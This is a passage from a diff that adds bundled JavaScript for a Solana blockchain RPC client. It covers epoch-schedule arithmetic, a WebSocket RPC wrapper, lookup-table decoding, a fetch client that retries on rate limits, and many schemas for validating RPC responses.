leaderScheduleSlotOffset, warmup, firstNormalEpoch, firstNormalSlot) { + /** The maximum number of slots in each epoch */ + this.slotsPerEpoch = void 0; + /** The number of slots before beginning of an epoch to calculate a leader schedule for that epoch */ + this.leaderScheduleSlotOffset = void 0; + /** Indicates whether epochs start short and grow */ + this.warmup = void 0; + /** The first epoch with `slotsPerEpoch` slots */ + this.firstNormalEpoch = void 0; + /** The first slot of `firstNormalEpoch` */ + this.firstNormalSlot = void 0; + this.slotsPerEpoch = slotsPerEpoch; + this.leaderScheduleSlotOffset = leaderScheduleSlotOffset; + this.warmup = warmup; + this.firstNormalEpoch = firstNormalEpoch; + this.firstNormalSlot = firstNormalSlot; + } + getEpoch(slot) { + return this.getEpochAndSlotIndex(slot)[0]; + } + getEpochAndSlotIndex(slot) { + if (slot < this.firstNormalSlot) { + const epoch = trailingZeros(nextPowerOfTwo(slot + MINIMUM_SLOT_PER_EPOCH + 1)) - trailingZeros(MINIMUM_SLOT_PER_EPOCH) - 1; + const epochLen = this.getSlotsInEpoch(epoch); + const slotIndex = slot - (epochLen - MINIMUM_SLOT_PER_EPOCH); + return [epoch, slotIndex]; + } else { + const normalSlotIndex = slot - this.firstNormalSlot; + const normalEpochIndex = Math.floor(normalSlotIndex / this.slotsPerEpoch); + const epoch = this.firstNormalEpoch + normalEpochIndex; + const slotIndex = normalSlotIndex % this.slotsPerEpoch; + return [epoch, slotIndex]; + } + } + getFirstSlotInEpoch(epoch) { + if (epoch <= this.firstNormalEpoch) { + return (Math.pow(2, epoch) - 1) * MINIMUM_SLOT_PER_EPOCH; + } else { + return (epoch - this.firstNormalEpoch) * this.slotsPerEpoch + this.firstNormalSlot; + } + } + getLastSlotInEpoch(epoch) { + return this.getFirstSlotInEpoch(epoch) + this.getSlotsInEpoch(epoch) - 1; + } + getSlotsInEpoch(epoch) { + if (epoch < this.firstNormalEpoch) { + return Math.pow(2, epoch + trailingZeros(MINIMUM_SLOT_PER_EPOCH)); + } else { + return this.slotsPerEpoch; + } + } +} + +var fetchImpl = globalThis.fetch; + +class RpcWebSocketClient extends CommonClient { + constructor(address, options, generate_request_id) { + const webSocketFactory = url => { + const rpc = WebSocket(url, { + autoconnect: true, + max_reconnects: 5, + reconnect: true, + reconnect_interval: 1000, + ...options + }); + if ('socket' in rpc) { + this.underlyingSocket = rpc.socket; + } else { + this.underlyingSocket = rpc; + } + return rpc; + }; + super(webSocketFactory, address, options, generate_request_id); + this.underlyingSocket = void 0; + } + call(...args) { + const readyState = this.underlyingSocket?.readyState; + if (readyState === 1 /* WebSocket.OPEN */) { + return super.call(...args); + } + return Promise.reject(new Error('Tried to call a JSON-RPC method `' + args[0] + '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' + readyState + ')')); + } + notify(...args) { + const readyState = this.underlyingSocket?.readyState; + if (readyState === 1 /* WebSocket.OPEN */) { + return super.notify(...args); + } + return Promise.reject(new Error('Tried to send a JSON-RPC notification `' + args[0] + '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' + readyState + ')')); + } +} + +/** + * @internal + */ + +/** + * Decode account data buffer using an AccountType + * @internal + */ +function decodeData(type, data) { + let decoded; + try { + decoded = type.layout.decode(data); + } catch (err) { + throw new Error('invalid instruction; ' + err); + } + if (decoded.typeIndex !== type.index) { + throw new Error(`invalid account data; account type mismatch ${decoded.typeIndex} != ${type.index}`); + } + return decoded; +} + +/// The serialized size of lookup table metadata +const LOOKUP_TABLE_META_SIZE = 56; +class AddressLookupTableAccount { + constructor(args) { + this.key = void 0; + this.state = void 0; + this.key = args.key; + this.state = args.state; + } + isActive() { + const U64_MAX = BigInt('0xffffffffffffffff'); + return this.state.deactivationSlot === U64_MAX; + } + static deserialize(accountData) { + const meta = decodeData(LookupTableMetaLayout, accountData); + const serializedAddressesLen = accountData.length - LOOKUP_TABLE_META_SIZE; + assert(serializedAddressesLen >= 0, 'lookup table is invalid'); + assert(serializedAddressesLen % 32 === 0, 'lookup table is invalid'); + const numSerializedAddresses = serializedAddressesLen / 32; + const { + addresses + } = BufferLayout.struct([BufferLayout.seq(publicKey(), numSerializedAddresses, 'addresses')]).decode(accountData.slice(LOOKUP_TABLE_META_SIZE)); + return { + deactivationSlot: meta.deactivationSlot, + lastExtendedSlot: meta.lastExtendedSlot, + lastExtendedSlotStartIndex: meta.lastExtendedStartIndex, + authority: meta.authority.length !== 0 ? new PublicKey(meta.authority[0]) : undefined, + addresses: addresses.map(address => new PublicKey(address)) + }; + } +} +const LookupTableMetaLayout = { + index: 1, + layout: BufferLayout.struct([BufferLayout.u32('typeIndex'), u64('deactivationSlot'), BufferLayout.nu64('lastExtendedSlot'), BufferLayout.u8('lastExtendedStartIndex'), BufferLayout.u8(), + // option + BufferLayout.seq(publicKey(), BufferLayout.offset(BufferLayout.u8(), -1), 'authority')]) +}; + +const URL_RE = /^[^:]+:\/\/([^:[]+|\[[^\]]+\])(:\d+)?(.*)/i; +function makeWebsocketUrl(endpoint) { + const matches = endpoint.match(URL_RE); + if (matches == null) { + throw TypeError(`Failed to validate endpoint URL \`${endpoint}\``); + } + const [_, + // eslint-disable-line @typescript-eslint/no-unused-vars + hostish, portWithColon, rest] = matches; + const protocol = endpoint.startsWith('https:') ? 'wss:' : 'ws:'; + const startPort = portWithColon == null ? null : parseInt(portWithColon.slice(1), 10); + const websocketPort = + // Only shift the port by +1 as a convention for ws(s) only if given endpoint + // is explicitly specifying the endpoint port (HTTP-based RPC), assuming + // we're directly trying to connect to agave-validator's ws listening port. + // When the endpoint omits the port, we're connecting to the protocol + // default ports: http(80) or https(443) and it's assumed we're behind a reverse + // proxy which manages WebSocket upgrade and backend port redirection. + startPort == null ? '' : `:${startPort + 1}`; + return `${protocol}//${hostish}${websocketPort}${rest}`; +} + +const PublicKeyFromString = coerce(instance(PublicKey), string(), value => new PublicKey(value)); +const RawAccountDataResult = tuple([string(), literal('base64')]); +const BufferFromRawAccountData = coerce(instance(Buffer), RawAccountDataResult, value => Buffer.from(value[0], 'base64')); + +/** + * Attempt to use a recent blockhash for up to 30 seconds + * @internal + */ +const BLOCKHASH_CACHE_TIMEOUT_MS = 30 * 1000; + +/** + * HACK. + * Copied from rpc-websockets/dist/lib/client. + * Otherwise, `yarn build` fails with: + * https://gist.github.com/steveluscher/c057eca81d479ef705cdb53162f9971d + */ + +/** @internal */ +/** @internal */ +/** @internal */ +/** @internal */ + +/** @internal */ +/** + * @internal + * Every subscription contains the args used to open the subscription with + * the server, and a list of callers interested in notifications. + */ + +/** + * @internal + * A subscription may be in various states of connectedness. Only when it is + * fully connected will it have a server subscription id associated with it. + * This id can be returned to the server to unsubscribe the client entirely. + */ + +/** + * A type that encapsulates a subscription's RPC method + * names and notification (callback) signature. + */ + +/** + * @internal + * Utility type that keeps tagged unions intact while omitting properties. + */ + +/** + * @internal + * This type represents a single subscribable 'topic.' It's made up of: + * + * - The args used to open the subscription with the server, + * - The state of the subscription, in terms of its connectedness, and + * - The set of callbacks to call when the server publishes notifications + * + * This record gets indexed by `SubscriptionConfigHash` and is used to + * set up subscriptions, fan out notifications, and track subscription state. + */ + +/** + * @internal + */ + +/** + * Extra contextual information for RPC responses + */ + +/** + * Options for sending transactions + */ + +/** + * Options for confirming transactions + */ + +/** + * Options for getConfirmedSignaturesForAddress2 + */ + +/** + * Options for getSignaturesForAddress + */ + +/** + * RPC Response with extra contextual information + */ + +/** + * A strategy for confirming transactions that uses the last valid + * block height for a given blockhash to check for transaction expiration. + */ + +/** + * A strategy for confirming durable nonce transactions. + */ + +/** + * Properties shared by all transaction confirmation strategies + */ + +/** + * This type represents all transaction confirmation strategies + */ + +/* @internal */ +function assertEndpointUrl(putativeUrl) { + if (/^https?:/.test(putativeUrl) === false) { + throw new TypeError('Endpoint URL must start with `http:` or `https:`.'); + } + return putativeUrl; +} + +/** @internal */ +function extractCommitmentFromConfig(commitmentOrConfig) { + let commitment; + let config; + if (typeof commitmentOrConfig === 'string') { + commitment = commitmentOrConfig; + } else if (commitmentOrConfig) { + const { + commitment: specifiedCommitment, + ...specifiedConfig + } = commitmentOrConfig; + commitment = specifiedCommitment; + config = specifiedConfig; + } + return { + commitment, + config + }; +} + +/** + * @internal + */ +function applyDefaultMemcmpEncodingToFilters(filters) { + return filters.map(filter => 'memcmp' in filter ? { + ...filter, + memcmp: { + ...filter.memcmp, + encoding: filter.memcmp.encoding ?? 'base58' + } + } : filter); +} + +/** + * @internal + */ +function createRpcResult(result) { + return union([type({ + jsonrpc: literal('2.0'), + id: string(), + result + }), type({ + jsonrpc: literal('2.0'), + id: string(), + error: type({ + code: unknown(), + message: string(), + data: optional(any()) + }) + })]); +} +const UnknownRpcResult = createRpcResult(unknown()); + +/** + * @internal + */ +function jsonRpcResult(schema) { + return coerce(createRpcResult(schema), UnknownRpcResult, value => { + if ('error' in value) { + return value; + } else { + return { + ...value, + result: create(value.result, schema) + }; + } + }); +} + +/** + * @internal + */ +function jsonRpcResultAndContext(value) { + return jsonRpcResult(type({ + context: type({ + slot: number() + }), + value + })); +} + +/** + * @internal + */ +function notificationResultAndContext(value) { + return type({ + context: type({ + slot: number() + }), + value + }); +} + +/** + * @internal + */ +function versionedMessageFromResponse(version, response) { + if (version === 0) { + return new MessageV0({ + header: response.header, + staticAccountKeys: response.accountKeys.map(accountKey => new PublicKey(accountKey)), + recentBlockhash: response.recentBlockhash, + compiledInstructions: response.instructions.map(ix => ({ + programIdIndex: ix.programIdIndex, + accountKeyIndexes: ix.accounts, + data: bs58.decode(ix.data) + })), + addressTableLookups: response.addressTableLookups + }); + } else { + return new Message(response); + } +} + +/** + * The level of commitment desired when querying state + *
+ *   'processed': Query the most recent block which has reached 1 confirmation by the connected node
+ *   'confirmed': Query the most recent block which has reached 1 confirmation by the cluster
+ *   'finalized': Query the most recent block which has been finalized by the cluster
+ * 
+ */ + +// Deprecated as of v1.5.5 + +/** + * A subset of Commitment levels, which are at least optimistically confirmed + *
+ *   'confirmed': Query the most recent block which has reached 1 confirmation by the cluster
+ *   'finalized': Query the most recent block which has been finalized by the cluster
+ * 
+ */ + +/** + * Filter for largest accounts query + *
+ *   'circulating':    Return the largest accounts that are part of the circulating supply
+ *   'nonCirculating': Return the largest accounts that are not part of the circulating supply
+ * 
+ */ + +/** + * Configuration object for changing `getAccountInfo` query behavior + */ + +/** + * Configuration object for changing `getBalance` query behavior + */ + +/** + * Configuration object for changing `getBlock` query behavior + */ + +/** + * Configuration object for changing `getBlock` query behavior + */ + +/** + * Configuration object for changing `getStakeMinimumDelegation` query behavior + */ + +/** + * Configuration object for changing `getBlockHeight` query behavior + */ + +/** + * Configuration object for changing `getEpochInfo` query behavior + */ + +/** + * Configuration object for changing `getInflationReward` query behavior + */ + +/** + * Configuration object for changing `getLatestBlockhash` query behavior + */ + +/** + * Configuration object for changing `isBlockhashValid` query behavior + */ + +/** + * Configuration object for changing `getSlot` query behavior + */ + +/** + * Configuration object for changing `getSlotLeader` query behavior + */ + +/** + * Configuration object for changing `getTransaction` query behavior + */ + +/** + * Configuration object for changing `getTransaction` query behavior + */ + +/** + * Configuration object for changing `getLargestAccounts` query behavior + */ + +/** + * Configuration object for changing `getSupply` request behavior + */ + +/** + * Configuration object for changing query behavior + */ + +/** + * Information describing a cluster node + */ + +/** + * Information describing a vote account + */ + +/** + * A collection of cluster vote accounts + */ + +/** + * Network Inflation + * (see https://docs.solana.com/implemented-proposals/ed_overview) + */ + +const GetInflationGovernorResult = type({ + foundation: number(), + foundationTerm: number(), + initial: number(), + taper: number(), + terminal: number() +}); + +/** + * The inflation reward for an epoch + */ + +/** + * Expected JSON RPC response for the "getInflationReward" message + */ +const GetInflationRewardResult = jsonRpcResult(array(nullable(type({ + epoch: number(), + effectiveSlot: number(), + amount: number(), + postBalance: number(), + commission: optional(nullable(number())) +})))); + +/** + * Configuration object for changing `getRecentPrioritizationFees` query behavior + */ + +/** + * Expected JSON RPC response for the "getRecentPrioritizationFees" message + */ +const GetRecentPrioritizationFeesResult = array(type({ + slot: number(), + prioritizationFee: number() +})); +/** + * Expected JSON RPC response for the "getInflationRate" message + */ +const GetInflationRateResult = type({ + total: number(), + validator: number(), + foundation: number(), + epoch: number() +}); + +/** + * Information about the current epoch + */ + +const GetEpochInfoResult = type({ + epoch: number(), + slotIndex: number(), + slotsInEpoch: number(), + absoluteSlot: number(), + blockHeight: optional(number()), + transactionCount: optional(number()) +}); +const GetEpochScheduleResult = type({ + slotsPerEpoch: number(), + leaderScheduleSlotOffset: number(), + warmup: boolean(), + firstNormalEpoch: number(), + firstNormalSlot: number() +}); + +/** + * Leader schedule + * (see https://docs.solana.com/terminology#leader-schedule) + */ + +const GetLeaderScheduleResult = record(string(), array(number())); + +/** + * Transaction error or null + */ +const TransactionErrorResult = nullable(union([type({}), string()])); + +/** + * Signature status for a transaction + */ +const SignatureStatusResult = type({ + err: TransactionErrorResult +}); + +/** + * Transaction signature received notification + */ +const SignatureReceivedResult = literal('receivedSignature'); + +/** + * Version info for a node + */ + +const VersionResult = type({ + 'solana-core': string(), + 'feature-set': optional(number()) +}); +const ParsedInstructionStruct = type({ + program: string(), + programId: PublicKeyFromString, + parsed: unknown() +}); +const PartiallyDecodedInstructionStruct = type({ + programId: PublicKeyFromString, + accounts: array(PublicKeyFromString), + data: string() +}); +const SimulatedTransactionResponseStruct = jsonRpcResultAndContext(type({ + err: nullable(union([type({}), string()])), + logs: nullable(array(string())), + accounts: optional(nullable(array(nullable(type({ + executable: boolean(), + owner: string(), + lamports: number(), + data: array(string()), + rentEpoch: optional(number()) + }))))), + unitsConsumed: optional(number()), + returnData: optional(nullable(type({ + programId: string(), + data: tuple([string(), literal('base64')]) + }))), + innerInstructions: optional(nullable(array(type({ + index: number(), + instructions: array(union([ParsedInstructionStruct, PartiallyDecodedInstructionStruct])) + })))) +})); + +/** + * Metadata for a parsed confirmed transaction on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionMeta} instead. + */ + +/** + * Collection of addresses loaded by a transaction using address table lookups + */ + +/** + * Metadata for a parsed transaction on the ledger + */ + +/** + * Metadata for a confirmed transaction on the ledger + */ + +/** + * A processed transaction from the RPC API + */ + +/** + * A processed transaction from the RPC API + */ + +/** + * A processed transaction message from the RPC API + */ + +/** + * A confirmed transaction on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. + */ + +/** + * A partially decoded transaction instruction + */ + +/** + * A parsed transaction message account + */ + +/** + * A parsed transaction instruction + */ + +/** + * A parsed address table lookup + */ + +/** + * A parsed transaction message + */ + +/** + * A parsed transaction + */ + +/** + * A parsed and confirmed transaction on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link ParsedTransactionWithMeta} instead. + */ + +/** + * A parsed transaction on the ledger with meta + */ + +/** + * A processed block fetched from the RPC API + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts` + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `none` + */ + +/** + * A block with parsed transactions + */ + +/** + * A block with parsed transactions where the `transactionDetails` mode is `accounts` + */ + +/** + * A block with parsed transactions where the `transactionDetails` mode is `none` + */ + +/** + * A processed block fetched from the RPC API + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `accounts` + */ + +/** + * A processed block fetched from the RPC API where the `transactionDetails` mode is `none` + */ + +/** + * A confirmed block on the ledger + * + * @deprecated Deprecated since RPC v1.8.0. + */ + +/** + * A Block on the ledger with signatures only + */ + +/** + * recent block production information + */ + +/** + * Expected JSON RPC response for the "getBlockProduction" message + */ +const BlockProductionResponseStruct = jsonRpcResultAndContext(type({ + byIdentity: record(string(), array(number())), + range: type({ + firstSlot: number(), + lastSlot: number() + }) +})); + +/** + * A performance sample + */ + +function createRpcClient(url, httpHeaders, customFetch, fetchMiddleware, disableRetryOnRateLimit, httpAgent) { + const fetch = customFetch ? customFetch : fetchImpl; + let agent; + { + if (httpAgent != null) { + console.warn('You have supplied an `httpAgent` when creating a `Connection` in a browser environment.' + 'It has been ignored; `httpAgent` is only used in Node environments.'); + } + } + let fetchWithMiddleware; + if (fetchMiddleware) { + fetchWithMiddleware = async (info, init) => { + const modifiedFetchArgs = await new Promise((resolve, reject) => { + try { + fetchMiddleware(info, init, (modifiedInfo, modifiedInit) => resolve([modifiedInfo, modifiedInit])); + } catch (error) { + reject(error); + } + }); + return await fetch(...modifiedFetchArgs); + }; + } + const clientBrowser = new RpcClient(async (request, callback) => { + const options = { + method: 'POST', + body: request, + agent, + headers: Object.assign({ + 'Content-Type': 'application/json' + }, httpHeaders || {}, COMMON_HTTP_HEADERS) + }; + try { + let too_many_requests_retries = 5; + let res; + let waitTime = 500; + for (;;) { + if (fetchWithMiddleware) { + res = await fetchWithMiddleware(url, options); + } else { + res = await fetch(url, options); + } + if (res.status !== 429 /* Too many requests */) { + break; + } + if (disableRetryOnRateLimit === true) { + break; + } + too_many_requests_retries -= 1; + if (too_many_requests_retries === 0) { + break; + } + console.error(`Server responded with ${res.status} ${res.statusText}. Retrying after ${waitTime}ms delay...`); + await sleep(waitTime); + waitTime *= 2; + } + const text = await res.text(); + if (res.ok) { + callback(null, text); + } else { + callback(new Error(`${res.status} ${res.statusText}: ${text}`)); + } + } catch (err) { + if (err instanceof Error) callback(err); + } + }, {}); + return clientBrowser; +} +function createRpcRequest(client) { + return (method, args) => { + return new Promise((resolve, reject) => { + client.request(method, args, (err, response) => { + if (err) { + reject(err); + return; + } + resolve(response); + }); + }); + }; +} +function createRpcBatchRequest(client) { + return requests => { + return new Promise((resolve, reject) => { + // Do nothing if requests is empty + if (requests.length === 0) resolve([]); + const batch = requests.map(params => { + return client.request(params.methodName, params.args); + }); + client.request(batch, (err, response) => { + if (err) { + reject(err); + return; + } + resolve(response); + }); + }); + }; +} + +/** + * Expected JSON RPC response for the "getInflationGovernor" message + */ +const GetInflationGovernorRpcResult = jsonRpcResult(GetInflationGovernorResult); + +/** + * Expected JSON RPC response for the "getInflationRate" message + */ +const GetInflationRateRpcResult = jsonRpcResult(GetInflationRateResult); + +/** + * Expected JSON RPC response for the "getRecentPrioritizationFees" message + */ +const GetRecentPrioritizationFeesRpcResult = jsonRpcResult(GetRecentPrioritizationFeesResult); + +/** + * Expected JSON RPC response for the "getEpochInfo" message + */ +const GetEpochInfoRpcResult = jsonRpcResult(GetEpochInfoResult); + +/** + * Expected JSON RPC response for the "getEpochSchedule" message + */ +const GetEpochScheduleRpcResult = jsonRpcResult(GetEpochScheduleResult); + +/** + * Expected JSON RPC response for the "getLeaderSchedule" message + */ +const GetLeaderScheduleRpcResult = jsonRpcResult(GetLeaderScheduleResult); + +/** + * Expected JSON RPC response for the "minimumLedgerSlot" and "getFirstAvailableBlock" messages + */ +const SlotRpcResult = jsonRpcResult(number()); + +/** + * Supply + */ + +/** + * Expected JSON RPC response for the "getSupply" message + */ +const GetSupplyRpcResult = jsonRpcResultAndContext(type({ + total: number(), + circulating: number(), + nonCirculating: number(), + nonCirculatingAccounts: array(PublicKeyFromString) +})); + +/** + * Token amount object which returns a token amount in different formats + * for various client use cases. + */ + +/** + * Expected JSON RPC structure for token amounts + */ +const TokenAmountResult = type({ + amount: string(), + uiAmount: nullable(number()), + decimals: number(), + uiAmountString: optional(string()) +}); + +/** + * Token address and balance. + */ + +/** + * Expected JSON RPC response for the "getTokenLargestAccounts" message + */ +const GetTokenLargestAccountsResult = jsonRpcResultAndContext(array(type({ + address: PublicKeyFromString, + amount: string(), + uiAmount: nullable(number()), + decimals: number(), + uiAmountString: optional(string()) +}))); + +/** + * Expected JSON RPC response for the "getTokenAccountsByOwner" message + */ +const GetTokenAccountsByOwner = jsonRpcResultAndContext(array(type({ + pubkey: PublicKeyFromString, + account: type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: BufferFromRawAccountData, + rentEpoch: number() + }) +}))); +const ParsedAccountDataResult = type({ + program: string(), + parsed: unknown(), + space: number() +}); + +/** + * Expected JSON RPC response for the "getTokenAccountsByOwner" message with parsed data + */ +const GetParsedTokenAccountsByOwner = jsonRpcResultAndContext(array(type({ + pubkey: PublicKeyFromString, + account: type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: ParsedAccountDataResult, + rentEpoch: number() + }) +}))); + +/** + * Pair of an account address and its balance + */ + +/** + * Expected JSON RPC response for the "getLargestAccounts" message + */ +const GetLargestAccountsRpcResult = jsonRpcResultAndContext(array(type({ + lamports: number(), + address: PublicKeyFromString +}))); + +/** + * @internal + */ +const AccountInfoResult = type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: BufferFromRawAccountData, + rentEpoch: number() +}); + +/** + * @internal + */ +const KeyedAccountInfoResult = type({ + pubkey: PublicKeyFromString, + account: AccountInfoResult +}); +const ParsedOrRawAccountData = coerce(union([instance(Buffer), ParsedAccountDataResult]), union([RawAccountDataResult, ParsedAccountDataResult]), value => { + if (Array.isArray(value)) { + return create(value, BufferFromRawAccountData); + } else { + return value; + } +}); + +/** + * @internal + */ +const ParsedAccountInfoResult = type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: ParsedOrRawAccountData, + rentEpoch: number() +}); +const KeyedParsedAccountInfoResult = type({ + pubkey: PublicKeyFromString, + account: ParsedAccountInfoResult +}); + +/** + * @internal + */ +const StakeActivationResult = type({ + state: union([literal('active'), literal('inactive'), literal('activating'), literal('deactivating')]), + active: number(), + inactive: number() +}); + +/** + * Expected JSON RPC response for the "getConfirmedSignaturesForAddress2" message + */ + +const GetConfirmedSignaturesForAddress2RpcResult = jsonRpcResult(array(type({ + signature: string(), + slot: number(), + err: TransactionErrorResult, + memo: nullable(string()), + blockTime: optional(nullable(number())) +}))); + +/** + * Expected JSON RPC response for the "getSignaturesForAddress" message + */ +const GetSignaturesForAddressRpcResult = jsonRpcResult(array(type({ + signature: string(), + slot: number(), + err: TransactionErrorResult, + memo: nullable(string()), + blockTime: optional(nullable(number())) +}))); + +/*** + * Expected JSON RPC response for the "accountNotification" message + */ +const AccountNotificationResult = type({ + subscription: number(), + result: notificationResultAndContext(AccountInfoResult) +}); + +/** + * @internal + */ +const ProgramAccountInfoResult = type({ + pubkey: PublicKeyFromString, + account: AccountInfoResult +}); + +/*** + * Expected JSON RPC response for the "programNotification" message + */ +const ProgramAccountNotificationResult = type({ + subscription: number(), + result: notificationResultAndContext(ProgramAccountInfoResult) +}); + +/** + * @internal + */ +const SlotInfoResult = type({ + parent: number(), + slot: number(), + root: number() +}); + +/** + * Expected JSON RPC response for the "slotNotification" message + */ +const SlotNotificationResult = type({ + subscription: number(), + result: SlotInfoResult +}); + +/** + * Slot updates which can be used for tracking the live progress of a cluster. + * - `"firstShredReceived"`: connected node received the first shred of a block. + * Indicates that a new block that is being produced. + * - `"completed"`: connected node has received all shreds of a block. Indicates + * a block was recently produced. + * - `"optimisticConfirmation"`: block was optimistically confirmed by the + * cluster. It is not guaranteed that an optimistic confirmation notification + * will be sent for every finalized blocks. + * - `"root"`: the connected node rooted this block. + * - `"createdBank"`: the connected node has started validating this block. + * - `"frozen"`: the connected node has validated this block. + * - `"dead"`: the connected node failed to validate this block. + */ + +/** + * @internal + */ +const SlotUpdateResult = union([type({ + type: union([literal('firstShredReceived'), literal('completed'), literal('optimisticConfirmation'), literal('root')]), + slot: number(), + timestamp: number() +}), type({ + type: literal('createdBank'), + parent: number(), + slot: number(), + timestamp: number() +}), type({ + type: literal('frozen'), + slot: number(), + timestamp: number(), + stats: type({ + numTransactionEntries: number(), + numSuccessfulTransactions: number(), + numFailedTransactions: number(), + maxTransactionsPerEntry: number() + }) +}), type({ + type: literal('dead'), + slot: number(), + timestamp: number(), + err: string() +})]); + +/** + * Expected JSON RPC response for the "slotsUpdatesNotification" message + */ +const SlotUpdateNotificationResult = type({ + subscription: number(), + result: SlotUpdateResult +}); + +/** + * Expected JSON RPC response for the "signatureNotification" message + */ +const SignatureNotificationResult = type({ + subscription: number(), + result: notificationResultAndContext(union([SignatureStatusResult, SignatureReceivedResult])) +}); + +/** + * Expected JSON RPC response for the "rootNotification" message + */ +const RootNotificationResult = type({ + subscription: number(), + result: number() +}); +const ContactInfoResult = type({ + pubkey: string(), + gossip: nullable(string()), + tpu: nullable(string()), + rpc: nullable(string()), + version: nullable(string()) +}); +const VoteAccountInfoResult = type({ + votePubkey: string(), + nodePubkey: string(), + activatedStake: number(), + epochVoteAccount: boolean(), + epochCredits: array(tuple([number(), number(), number()])), + commission: number(), + lastVote: number(), + rootSlot: nullable(number()) +}); + +/** + * Expected JSON RPC response for the "getVoteAccounts" message + */ +const GetVoteAccounts = jsonRpcResult(type({ + current: array(VoteAccountInfoResult), + delinquent: array(VoteAccountInfoResult) +})); +const ConfirmationStatus = union([literal('processed'), literal('confirmed'), literal('finalized')]); +const SignatureStatusResponse = type({ + slot: number(), + confirmations: nullable(number()), + err: TransactionErrorResult, + confirmationStatus: optional(ConfirmationStatus) +}); + +/** + * Expected JSON RPC response for the "getSignatureStatuses" message + */ +const GetSignatureStatusesRpcResult = jsonRpcResultAndContext(array(nullable(SignatureStatusResponse))); + +/** + * Expected JSON RPC response for the "getMinimumBalanceForRentExemption" message + */ +const GetMinimumBalanceForRentExemptionRpcResult = jsonRpcResult(number()); +const AddressTableLookupStruct = type({ + accountKey: PublicKeyFromString, + writableIndexes: array(number()), + readonlyIndexes: array(number()) +}); +const ConfirmedTransactionResult = type({ + signatures: array(string()), + message: type({ + accountKeys: array(string()), + header: type({ + numRequiredSignatures: number(), + numReadonlySignedAccounts: number(), + numReadonlyUnsignedAccounts: number() + }), + instructions: array(type({ + accounts: array(number()), + data: string(), + programIdIndex: number() + })), + recentBlockhash: string(), + addressTableLookups: optional(array(AddressTableLookupStruct)) + }) +}); +const AnnotatedAccountKey = type({ + pubkey: PublicKeyFromString, + signer: boolean(), + writable: boolean(), + source: optional(union([literal('transaction'), literal('lookupTable')])) +}); +const ConfirmedTransactionAccountsModeResult = type({ + accountKeys: array(AnnotatedAccountKey), + signatures: array(string()) +}); +const ParsedInstructionResult = type({ + parsed: unknown(), + program: string(), + programId: PublicKeyFromString +}); +const RawInstructionResult = type({ + accounts: array(PublicKeyFromString), + data: string(), + programId: PublicKeyFromString +}); +const InstructionResult = union([RawInstructionResult, ParsedInstructionResult]); +const UnknownInstructionResult = union([type({ + parsed: unknown(), + program: string(), + programId: string() +}), type({ + accounts: array(string()), + data: string(), + programId: string() +})]); +const ParsedOrRawInstruction = coerce(InstructionResult, UnknownInstructionResult, value => { + if ('accounts' in value) { + return create(value, RawInstructionResult); + } else { + return create(value, ParsedInstructionResult); + } +}); + +/** + * @internal + */ +const ParsedConfirmedTransactionResult = type({ + signatures: array(string()), + message: type({ + accountKeys: array(AnnotatedAccountKey), + instructions: array(ParsedOrRawInstruction), + recentBlockhash: string(), + addressTableLookups: optional(nullable(array(AddressTableLookupStruct))) + }) +}); +const TokenBalanceResult = type({ + accountIndex: number(), + mint: string(), + owner: optional(string()), + programId: optional(string()), + uiTokenAmount: TokenAmountResult +}); +const LoadedAddressesResult = type({ + writable: array(PublicKeyFromString), + readonly: array(PublicKeyFromString) +}); + +/** + * @internal + */ +const ConfirmedTransactionMetaResult = type({ + err: TransactionErrorResult, + fee: number(), + innerInstructions: optional(nullable(array(type({ + index: number(), + instructions: array(type({ + accounts: array(number()), + data: string(), + programIdIndex: number() + })) + })))), + preBalances: array(number()), + postBalances: array(number()), + logMessages: optional(nullable(array(string()))), + preTokenBalances: optional(nullable(array(TokenBalanceResult))), + postTokenBalances: optional(nullable(array(TokenBalanceResult))), + loadedAddresses: optional(LoadedAddressesResult), + computeUnitsConsumed: optional(number()) +}); + +/** + * @internal + */ +const ParsedConfirmedTransactionMetaResult = type({ + err: TransactionErrorResult, + fee: number(), + innerInstructions: optional(nullable(array(type({ + index: number(), + instructions: array(ParsedOrRawInstruction) + })))), + preBalances: array(number()), + postBalances: array(number()), + logMessages: optional(nullable(array(string()))), + preTokenBalances: optional(nullable(array(TokenBalanceResult))), + postTokenBalances: optional(nullable(array(TokenBalanceResult))), + loadedAddresses: optional(LoadedAddressesResult), + computeUnitsConsumed: optional(number()) +}); +const TransactionVersionStruct = union([literal(0), literal('legacy')]); + +/** @internal */ +const RewardsResult = type({ + pubkey: string(), + lamports: number(), + postBalance: nullable(number()), + rewardType: nullable(string()), + commission: optional(nullable(number())) +}); + +/** + * Expected JSON RPC response for the "getBlock" message + */ +const GetBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionResult, + meta: nullable(ConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getBlock" message when `transactionDetails` is `none` + */ +const GetNoneModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getBlock" message when `transactionDetails` is `accounts` + */ +const GetAccountsModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionAccountsModeResult, + meta: nullable(ConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected parsed JSON RPC response for the "getBlock" message + */ +const GetParsedBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + 